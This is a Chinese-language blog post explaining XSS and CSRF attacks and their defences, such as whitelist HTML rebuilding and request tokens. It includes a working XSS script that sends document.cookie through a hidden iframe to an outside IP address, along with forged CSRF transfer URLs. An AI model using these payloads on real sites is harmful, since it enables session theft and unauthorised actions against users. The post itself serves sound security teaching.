Zerlinda's Blog

浅谈XSS 与 CSRF

Xss (Cross Site Scripting)

Xss:跨站脚本攻击(Cross Site Scripting),指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。xss是注入攻击的一种,其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

情景再现

eg1: 最简单的栗子,在存在xss漏洞的论坛中发表评论,其中插入代码:

	<script>alert("逗你玩~");</script>

发表成功后,当其他用户打开这个页面,都会弹出对应的弹框。

eg2:再比如微博昵称存在XSS漏洞,当你把昵称修改为

	Jack<script>followme()</script>

别人访问你的微博主页是http://weibo.com/Jack后,上面的脚本自动执行,自动成为你的粉丝。

eg3:典型的Xss攻击者会利用漏洞获取用户的登录信息:

<script>
(function(window, document) {
    var cookies = document.cookie;
    var xssURIBase = "http://123.56.247.44/xss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);
</script>

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。然后,就可以利用用户的信息可以为所欲为…

解决方法

AJAX同源策略不允许跨域,其初衷也是防范 XSS。但上面的栗子 使用iframe可以达到相同的目的。虽然现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,但拦截不总是能成功。归根结底XSS是内容没有过滤导致浏览器将攻击者的输入当做代码而执行所引起的,防止 XSS 的根本之道还是过滤用户输入。
但稍微麻烦一点的是,一些场合需要允许用户输入 HTML,又要过滤其中的脚本。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,简单的方法就是白名单重新整理。对于用户输入的html,不是直接将其存入数据库,而是遍历其节点,获取其中数据。然后根据用户原有的标签属性,重新构建 HTML。构建的过程中,所有的标签、属性都只从白名单中拿取。这样如果用户的某种输入不能为解析器所识别,白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 。从而保证所有的标签、属性都来自白名单,一定不会遗漏。

CSRF (Cross-site request forgery)

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,通俗说:XSS有脚本的参与,黑客构造好各种各样功能的脚本让你来触发从而利用你的信息。而CSRF则通过伪装成受信任用户的请求即借你的手触发某些操作。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。通过 XSS 来实现 CSRF 易如反掌,黑客可以通过 XSS 或链接欺骗等途径,让用户在登陆过的浏览器端发起用户所不知道的请求。对于设计不佳的网站,一条正常的链接都能造成 CSRF。

情景再现

eg1: CSRF非常容易实现。例如,一论坛网站的发贴是通过 GET 请求访问 http://example.com/bbs/create_post.php?title=标题&content=内容 那么,我只需要在论坛中发一帖,包含一链接: http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈 只要有用户在登录之后并且点击了这个链接,那么他们的帐户就会在不知情的情况下发送了一条请求并且发布了这一帖子。

既然请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

eg2: 典型的比如某银行网站的转账一般流程:在用户输入相关信息,点击确定后就发送http://bacBank.com/transfer?from=张三&to=李四?moeny=100请求,之后张三就转给了李四100块。但是张三在登录了此网站没有退出,并且此时点击了李四发来的链接http:// bacBank.com/transfer?from=张三&to=李四?moeny=200

然后张三同样在不知情的情况下就转给了李四200块。

解决方法

要解决这个问题,限制用户输入,不允许用户发布这种含有站内操作 URL 的链接可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly(网址缩短服务,它可以让你缩短网址,使得分享网址更加容易) 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF被伪造的请求可以是任何来源,而非一定是站内。一般的解决方法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,方法就是“请求令牌”。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登录验证身份。关于这一点之前有一篇文章详细讲到,点击查看token登录机制;。

总体来说,目前防御 CSRF方法还没几个能彻底无解的。我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了。

发表评论

电子邮件地址不会被公开。 必填项已用*标注